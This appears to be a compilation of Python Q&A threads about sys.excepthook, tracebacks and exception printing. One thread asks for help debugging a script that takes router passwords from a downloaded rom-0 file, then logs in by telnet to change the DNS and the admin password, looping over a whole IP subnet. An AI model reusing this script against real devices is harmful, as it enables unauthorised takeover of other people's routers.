python: how to get line text where exception occur, not line number - python

I am trying to use sys.excepthook
With below hook
def foo(type, value, traceback):
# how to print the line that except occurs
sys.excepthook = foo
and use like below
$ python3
>>> text that cause error
How to define foo such that text that cause error being printed?
EDIT
Let me add the full story, to make it clear. (deserve downvotes? -) )
What I want is not print the line, is
get the line
if the line match some criterion, modify then exec
eg,
if type
>>> import requests
>>> edit requests
get the line that exception occurs, i.e, edit requests
then exec edit(find_file(request))
where edit() use subprocess.call(), find_file use inspect to find the file where an object being defined.
Yes, I know ipython magics, and use it regularlly. this time I am ask to how to define it.

You can use the modul traceback and the passed traceback object's tb_lineno attribute:
import sys
import traceback as tb
def foo(type, value, traceback):
# how to print the line that except occurs
print("The line where the exception occurs: {}".format(tb.linecache.getline(tb.extract_tb(sys.last_traceback)[0].filename, traceback.tb_lineno)))
sys.excepthook = foo
int("text")
Out:
The line where the exception occurs: int("text")
as the the line int("text") line raised an exeption.

We can use the traceback module to help us.
def foo(type, value, trace):
print(trace.msg)
The traceback object will have lots of information about where the error occurred.

Related

python error handling filepath is incorrect when run as a module

So I have a 2 files.
test.py
import sys
import error_handler
sys.excepthook = error_handler;
value = 23/0; #this line will throw Zero division error
error_handler.py
def custom_error_handler(ex_class, ex, tb):
fileName = os.path.split(tb.tb_frame.f_code.co_filename)[1];
lineNo = tb.tb_lineno;
print fileName;
print lineNo;
These are the outputs when I run the file and when I run it as a module.
python test.py
test.py
4
But if I run
python -m test
runpy.py
162
Any ideas on why running it the second way produces that result? is there another way I should be doing this?
Thankyou.
ok I solved this by following viraptors comment and the python documentation.
I had to import traceback, split the traceback into an array
import traceback;
tb_array = traceback.extract_tb(tb);
each element in the array is an array that contains:
file path
line number
method name
line string

Why doesn't sys.excepthook work?

Why isn't the sys.excepthook function called if I try to execute this code?
import sys;
def MyExcepthook(ex_cls, ex, tb):
print("Oops! There's an Error.\n");
a=open("./ERR.txt","w"); #Fixed as suggested by unutbu BUT the problem is the same!
a.write("Oops! There's an Error.\n");
a.close();
sys.excepthook = MyExcepthook;
def main():
print(1/0);
if (__name__=="__main__"):
main();
Output:
Traceback (most recent call last):
File "C:\Users\Path\to\my\python\file.py", line 13, in <module>
main();
File "C:\Users\Path\to\my\python\file.py", line 10, in main
print(1/0);
ZeroDivisionError: division by zero
Expected Output (by print):
Oops! There's an Error.
and a new file (Err.txt) should be created (by open)
The print function doesn't show the text and the file is not created because the sys.excepthook function is not called - why?
-->EDIT
My Problem is caused by a bug in idle-python 3.4 because now i tried to run the code by interpreter python (command line) and it works! this makes my Question useless if not to warn about this bug in idle-python 3.4 i'm sorry and thanks for your help!
[SOLUTION] if someone has my same problem => Try to Run your code by command line! and not from IDE.
Your custom excepthook must not itself raise an exception:
a=open("./ERR.txt") # opens the file in read mode
should be
a=open("./ERR.txt", 'w') # open the file in write mode.
When the custom excepthook raises an exception, you should see
something like
Oops! There's an Error.
Error in sys.excepthook:
...
IOError: [Errno 2] No such file or directory: './ERR.txt'
Original exception was:
...
ZeroDivisionError: integer division or modulo by zero
PS. Don't forget to delete all those unnecessary semicolons!
import sys
def my_excepthook(ex_cls, ex, tb):
msg = "Oops! There's an Error.\n"
print(msg)
with open("./ERR.txt", 'w') as a:
a.write(msg)
sys.excepthook = my_excepthook
def main():
print(1/0)
if __name__=="__main__":
main()

IronPython TypeError exception has no traceback

In my code I am having a TypeError exception that is crashing my code. In this one particular program (I created a test file to reproduce the error and couldn't) the traceback only says TypeError: 'int' object is unsubscriptable with no information about where it was occuring. I tried creating my own exception before the function call that this must be happening in by 1[0] and got the same problem. When I try causing a different kind of exception by foo_that_doesn't_exist() I get a proper traceback with where the error occurred. I'm running the IronPython interpreter and because of some dependencies on C# code I can't test with CPython.
EDIT: I tracked down the problem in my own code, and then found a way to reproduce it. The problem can be recreated with:
import traceback
import sys
try:
try:
1[0]
except:
raise
except:
traceback.print_tb(sys.exc_info()[2])
Which returns nothing while:
import traceback
import sys
try:
1[0]
except:
traceback.print_tb(sys.exc_info()[2])
returns
File "a.py", line 6, in <module>
1[0]

NameError: name 'host' is not defined

I'm new in python programming. When i try running a simple python script i get error like this in my terminal
root#bt:/tmp# python code.py
Traceback (most recent call last):
File "code.py", line 42, in <module>
print host+" -> Offline!"
NameError: name 'host' is not defined
I have been search in Google but im difficult to fix my problem because im new in this programming language. Can you help me?
This is my script like this :
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
from netaddr import IPNetwork
import urllib2
import urllib
import re
import getpass
import sys
import telnetlib
import time
import os
import socket
import sys
socket.setdefaulttimeout(4)
register_openers()
try:
os.remove("rom-0")
except:
pass
try:
host=str(sys.argv[1])
urllib.urlretrieve ("http://"+host+"/rom-0", "rom-0")
datagen, headers = multipart_encode({"uploadedfile": open("rom-0")})
request = urllib2.Request("http://localhost/decoded.php", datagen, headers)
str1 = urllib2.urlopen(request).read()
m = re.search('rows=10>(.*)', str1)
if m:
found = m.group(1)
tn = telnetlib.Telnet(host, 23, 3)
tn.read_until("Password: ")
tn.write(found + "\n")
tn.write("set lan dhcpdns 8.8.8.8\n")
tn.write("sys password admin\n")
print host+" -> Success"
tn.write("exit\n")
except:
print host+" -> Offline!"
How i can fix error like this.?
Thanks
If i put : host=str(sys.argv[1]) before try.except show error like this :
Traceback (most recent call last):
File "code.py", line 17, in
host=str(sys.argv[1])
IndexError: list index out of range
And this is my input :
from netaddr import IPNetwork
import os
for ip in IPNetwork ('41.108.48.1/24'):
os.system("python code.py "+str(ip))
Your except clause will catch any error in any line of code in the try block. If you don't specify enough arguments on the command line, the line host = str(sys.argv[1]) will fail, leaving host unassigned, which then causes the error you are seeing when you try to print it.
You should take most of the code out of your try block, really, and/or create multiple try blocks that catch errors in much smaller chunks of code. Furthermore, you should specify the actual exception type you want to handle with each except instead of trying to handle all of them. Bare except: catches things you probably don't want caught, such as KeyboardInterrupt and SystemExit. If you must catch most exceptions, use except Exception: instead of just except:.
it seem that your script expects an input parameter
host=str(sys.argv[1])
in case that parameter is not supplied, as shown in your post, an exception raised and been caught in the except clause before the host parameter was defined
try to declare host before the try/except block
you are defining host in the first line of try/except
i believe the error is in that first line.
to debug this take remove the try/except to see what the actual error is.

e.printStackTrace equivalent in python

I know that print(e) (where e is an Exception) prints the occurred exception
but, I was trying to find the python equivalent of Java's e.printStackTrace() that exactly traces the exception to what line it occurred and prints the entire trace of it.
Could anyone please tell me the equivalent of e.printStackTrace() in Python?
import traceback
traceback.print_exc()
When doing this inside an except ...: block it will automatically use the current exception. See http://docs.python.org/library/traceback.html for more information.
There is also logging.exception.
import logging
...
try:
g()
except Exception as ex:
logging.exception("Something awful happened!")
# will print this message followed by traceback
Output:
ERROR 2007-09-18 23:30:19,913 error 1294 Something awful happened!
Traceback (most recent call last):
File "b.py", line 22, in f
g()
File "b.py", line 14, in g
1/0
ZeroDivisionError: integer division or modulo by zero
(From http://blog.tplus1.com/index.php/2007/09/28/the-python-logging-module-is-much-better-than-print-statements/ via How to print the full traceback without halting the program?)
e.printStackTrace equivalent in python
In Java, this does the following (docs):
public void printStackTrace()
Prints this throwable and its backtrace to the standard error stream...
This is used like this:
try
{
// code that may raise an error
}
catch (IOException e)
{
// exception handling
e.printStackTrace();
}
In Java, the Standard Error stream is unbuffered so that output arrives immediately.
The same semantics in Python 2 are:
import traceback
import sys
try: # code that may raise an error
pass
except IOError as e: # exception handling
# in Python 2, stderr is also unbuffered
print >> sys.stderr, traceback.format_exc()
# in Python 2, you can also from __future__ import print_function
print(traceback.format_exc(), file=sys.stderr)
# or as the top answer here demonstrates, use:
traceback.print_exc()
# which also uses stderr.
Python 3
In Python 3, we can get the traceback directly from the exception object (which likely behaves better for threaded code).
Also, stderr is line-buffered, but the print function gets
a flush argument, so this would be immediately printed to stderr:
print(traceback.format_exception(None, # <- type(e) by docs, but ignored
e, e.__traceback__),
file=sys.stderr, flush=True)
Conclusion:
In Python 3, therefore, traceback.print_exc(), although it uses sys.stderr by default, would buffer the output, and you may possibly lose it. So to get as equivalent semantics as possible, in Python 3, use print with flush=True.
Adding to the other great answers, we can use the Python logging library's debug(), info(), warning(), error(), and critical() methods. Quoting from the docs for Python 3.7.4,
There are three keyword arguments in kwargs which are inspected: exc_info which, if it does not evaluate as false, causes exception information to be added to the logging message.
What this means is, you can use the Python logging library to output a debug(), or other type of message, and the logging library will include the stack trace in its output. With this in mind, we can do the following:
import logging
logger = logging.getLogger()
logger.setLevel(logging.DEBUG)
def f():
a = { 'foo': None }
# the following line will raise KeyError
b = a['bar']
def g():
f()
try:
g()
except Exception as e:
logger.error(str(e), exc_info=True)
And it will output:
'bar'
Traceback (most recent call last):
File "<ipython-input-2-8ae09e08766b>", line 18, in <module>
g()
File "<ipython-input-2-8ae09e08766b>", line 14, in g
f()
File "<ipython-input-2-8ae09e08766b>", line 10, in f
b = a['bar']
KeyError: 'bar'

Categories